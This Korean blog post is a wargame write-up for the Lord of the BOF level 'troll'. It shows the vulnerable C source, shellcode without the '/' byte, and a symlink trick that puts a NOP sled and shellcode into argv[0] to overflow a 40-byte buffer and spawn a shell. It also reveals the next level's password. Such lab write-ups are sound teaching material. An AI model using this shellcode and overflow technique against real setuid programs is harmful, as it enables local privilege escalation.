eli_ez3r
eli_ez3r
eli_ez3r
전체 방문자
오늘
어제
  • 분류 전체보기 (202)
    • 0x01 끄적끄적 :) (57)
      • Network (5)
      • Security (14)
      • Reversing (2)
      • Forensic (5)
      • Operation System (10)
      • Development (10)
      • Solution (7)
      • 보안 상식 (3)
    • 0x02 Study :) (127)
      • Pwnable (59)
      • Webhacking (56)
      • Reversing (11)
      • Machine Learning (1)
    • 0x03 ETC :) (16)
      • IT Unpacking (5)
      • IT Information (1)
      • Enjoy (4)
      • Etc (6)
    • Admin :) (0)
      • 0x01 (0)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

  • github.io 블로그 개설

인기 글

태그

  • hakcing
  • hacker
  • hack
  • 패스워드
  • 문제
  • 암호
  • LEVEL
  • 공격
  • 해커
  • 과정
  • overflow
  • 오버플로우
  • password
  • BOF
  • buffer
  • LOB
  • 메모리
  • 해킹
  • school
  • attack
  • Up
  • hacking
  • 설명
  • pwnable
  • 스쿨
  • 문제풀이
  • write
  • web
  • 풀이
  • webhacking.kr

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
eli_ez3r

eli_ez3r

[LOB] Level8: orge → troll
0x02 Study :)/Pwnable

[LOB] Level8: orge → troll

2018. 8. 2. 15:38

한동안 LOB문제를 안풀다가 엄~~청 오랜만에 이어서 풀어보기 시작했다.


그래서 그전과 풀이 방식과 설명내용 등... 많이 다를 수 있음을 주의하자ㅋㅋ


troll

/*
        The Lord of the BOF : The Fellowship of the BOF
        - troll
        - check argc + argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	// here is changed
	if(argc != 2){
		printf("argc must be two!\n");
		exit(0);
	}

	// egghunter
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

	// one more!
	memset(argv[1], 0, strlen(argv[1]));
}


'\x2f'없는 shell(48byte) = \xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff

\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce

\x81


argc의 개수를 2로 정해졌으므로, argv[2]를 사용 하지 못한다.


buffer내용도 0으로 초기화 되며, argv[1]를 이용해서 argv[2]를 덮으려고 해도 길이가 48을 넘어 갈 수 없다.


그리고 argv[1]에 넣은 만큼 0으로 초기화 된다.


 

트롤 맞네... 😩😫


 

초기화 안된 영역은 argv[0]영역 밖에 없다. 이를 이용하자.


python -c 'print "A"*44+"\xbf"*4'으로 core를 생성 한 후, core덤프에서 x/32s $esp 로 보다보면 파일 이름이 들어간 주소가 보인다.


0xbffffc44:	 ""
0xbffffc45:	 ""
0xbffffc46:	 ""
0xbffffc47:	 "i686"
0xbffffc4c:	 "./trola"
0xbffffc54:	 ""
0xbffffc55:	 ""
0xbffffc56:	 ""

 

이제 argv[0]에 쉘코드를 넣어야 한다.


이때 중요한것은 쉘코드에 '\x2f'값이 없어야 한다. 이유는 '/'문자열이 '\x2f'이기 때문에, 경로로 인식하게 때문이다.

 


이때 심볼릭링크를 사용해야 한다.


[orge@localhost orge]$ ln -s troll `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[orge@localhost orge]$ ls
core
trola
troll
troll.c
??????????????????????????????????????????????????�?^1ɱ2?l?�??�?u��?�����2�Qi00tii0cjo?�QT?�?�?�?
0xbffffa87:	 ""
0xbffffa88:	 ""
0xbffffa89:	 ""
0xbffffa8a:	 ""
0xbffffa8b:	 "i686"
0xbffffa90:	 "./", '\220' <repeats 105 times>, "�\021^1ɱ2\200l\016�\001\200�\001u��\005�����2�Qi00tii0cjo\212�QT\212�\232�\f�\201"
0xbffffb2c:	 ""
0xbffffb2d:	 ""
0xbffffb2e:	 ""
0xbffffb2f:	 ""


./python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8

\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2

\x9a\xb1\x0c\xce\x81"' python -c 'print "A"*44+"\x90\xfa\xff\xbf"'


 

쉘코드를 파일 이름으로 심볼릭 링크 했기 때문에, 쉘코드를 파일로 인식을 하게 되고, main함수의 ret가 argv[0]을 가리키고 있는데 해당 주소에는 쉘코드가 있기 때문에 쉘이 실행된다.

 

troll / aspirin


 


잘못 된 개념을 서술하였거나, 잘못 풀이된 내용이 있으면 댓글 달아주시면 감사합니다 :)

태클 댓글이나 메일(513.eunice@gmail.com) 환영입니다 !! 😊☺️👍 



저작자표시 비영리 변경금지 (새창열림)
    '0x02 Study :)/Pwnable' 카테고리의 다른 글
    • [BOF, LOB] Level10: vampire → skeleton
    • [LOB] Level9: troll → vampire
    • [LOB] 원정대란?
    • [해커스쿨] FTZ level20 풀이 과정 (Final)
    eli_ez3r
    eli_ez3r

    티스토리툴바